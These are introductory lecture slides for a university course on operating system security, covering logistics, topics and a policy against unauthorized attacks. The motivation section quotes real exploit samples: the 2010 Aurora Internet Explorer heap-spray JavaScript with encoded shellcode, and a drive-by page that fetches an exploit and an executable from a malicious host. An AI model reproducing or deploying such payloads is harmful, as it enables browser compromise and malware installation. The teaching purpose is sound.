Post on 09-Feb-2022
ISA 673 Operating Systems’ Security
Angelos Stavrou, George Mason University!
Introduction & Class Mechanics!
Course Mechanics
Course URL:! http://cs.gmu.edu/~astavrou/isa673_S10.html!
Instructor ! !Angelos Stavrou! Email: ! ! !astavrou@gmu.edu! Office: ! ! !Research I, rm 437! Office Phone: ! !(703) 993-3772! Office Hours: ! !Wednesday 5:00 – 7:00pm"
! ! ! !and by appointment!
Course Mechanics
Course URL:! http://cs.gmu.edu/~astavrou/isa673_S10.html!
TA! ! ! Sharath Hiremagalore! Email: ! ! !astavrou@gmu.edu! Office: ! ! !Research I, rm 439! Office Hours: ! !Thursday, 4:00 – 6:00pm!
Course Bibliography
Required: "Professional Linux Kernel Architecture, Wolfgang Mauerer, John Wiley and Sons, New York, NY, 2008."Available by: [Willey] [Amazon]!
Recommended: "- Understanding the Linux Kernel, Third Edition Daniel P. Bovet Marco Cesati ISBN-10: 0596005652 ISBN-13: 978-0596005658 O'Reilly Media Available by: [Online for GMU] [O' Reilly] [Amazon]"
- Modern Operating Systems, 3/E Andrew S. Tanenbaum. ISBN-10: 0136006639 ISBN-13: 9780136006633 Prentice Hall "Available by: [GMU Bookstore] [Prentice Hall] [Amazon] "
Grading
Class Projects: (2 team or individual) 80%! Class Presentations: 15%! Class Participation: 5%! No Midterm or Final!
This class is an upper-level class and is geared towards understanding the fundamental concepts behind Security for Computer systems. !
The students will be expected to participate in large projects under the guidance of the instructor. "
Course Overview
Provide hands-on experience with fundamentals and advanced topics in operating system (OS) security!
OS security techniques: ! logging, ! system call auditing, ! address space randomization, ! memory protection, ! virtual machine introspection (VMI)!
Recent advanced techniques such as host-based intrusion detection system randomization, vulnerability fingerprinting, and virtualization.!
Prerequisites
Courses! CS571 and ISA 562; or permission of instructor. The
coursework will include substantial programming projects; in order to be able to complete the projects, the students must be comfortable with C/C++.!
Skills! Familiar or comfortable with Linux! System Programming! Willingness to spend time in the lab learning about
exploits, defenses, and tools.! Being able to install programs and work in Unix!
Course Topics (tentative)
Introduction Operating Systems (OS)! Types of Threats! Basic OS Security Mechanisms!
Understanding the Threats Malware Taxonomy! Viruses! Worms! Rootkits! Defense -- An Overview!
Logging, Auditing, and Recovery ! Log Generation! Log Auditing! Log-based Recovery!
Course Topics (tentative)
OS-level Memory Protection ! Review of OS Memory Management! NX Bit! Randomization!
Virtualization Technology and Applications! Virtualization Taxonomy! Security Applications! Virtual Machine Introspection!
Vulnerability Analysis Vulnerability Classification! Defense against Known Vulnerabilities! Defense against Unknown (0-day) Vulnerabilities!
Course Topics (tentative)
OS-level Memory Protection ! Review of OS Memory Management! NX Bit! Randomization!
Virtualization Technology and Applications! Virtualization Taxonomy! Security Applications! Virtual Machine Introspection!
Vulnerability Analysis Vulnerability Classification! Defense against Known Vulnerabilities! Defense against Unknown (0-day) Vulnerabilities!
Course Topics (tentative)
Malware Capture and Analysis ! Honeypot Taxonomy! Recent Honeypot Advances! Deployment and Liabilities!
Malware! Polymorphic Malware! Malware Packers and Javascript Encoders! Analyzing Malware with PIN & IDA Pro!
Rootkits Rootkit Basics! Advanced Rootkit Techniques! Rootkit Defenses!
Course Schedule (Tentative)
Please check it at least twice in a week!!
http://cs.gmu.edu/~astavrou/isa673_S10.html#Schedule
Course Policies
Academic integrity! If you do not cite it and you use it, you are in violation!! Please read!!
Unless otherwise noted, work turned in should reflect your independent capabilities! If unsure, note / cite sources and help!
Usually, no late submissions will be accepted! No penalty for documented emergency (e.g., medical) or by
prior arrangement in special circumstances!
Warning
Policy on security experiments:! you may not break into machines that are not
your own; ! you may not attempt to attack or subvert system
security on machines not owned by you. !
ISA 673 Operating Systems’ Security
Introduction!
Motivation
Internet malware remains a top threat! Malware: virus, worms, rootkits, spyware, bots…!
Types of Attacks
Viruses, worms, and trojan horses!
Attacks enabled by access to passwords!
Buffer Overflow! Denial of service! Spoofing! E-mail attack! Wireless attacks! Malware and Malfese! Malware Embedded
Objects!
Google Aurora Attack 2010
<html><script>var sc = unescape("%u9090%u19eb%u4b5b%u3390%u90c9 […]”); var sss = Array(826, 679, … 875); var arr = new Array; for (var i = 0; i < sss.length; i ++ ){ arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, "" ); cc = cc.replace(/@/g, ","); eval(cc); var x1 = new Array(); for (i = 0; i < 200; i ++ ){ x1[i] = document.createElement("COMMENT"); x1[i].data = "abc"; } ; var e1 = null; function ev1(evt){ e1 = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 50); } function ev2(){ p = “ \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; for (i = 0; i < x1.length; i ++ ){ x1[i].data = p; } ; var t = e1.srcElement; } </script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>
Similar Code Injection Examples
One Click on a malicious URL http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html
Result:
MS04-013
MS03-011
MS05-002
<html><head><title></title></head><body>
<style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style>
<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script>
try{ document.write('<object data=`ms-its: mhtml:file: //C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ 'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){} </script> </body></html>
An Attack Incident Against IE Browser
22 “unwanted” programs are installed without the user’s consent
An Attack Incident Against IE Browser
22
URL-level Topology Graph for WinXP SP1 Un-patched: 688 URLs from 270 sites
Topology Graph of Malicious URLs
Site nodes
URLs
Content Provider Exploit Provider
Redirecting URL
Exploiting URL
Motivation
Course Focus
Understanding essential techniques behind these attacks offensively and defensively !
Write your own working code!!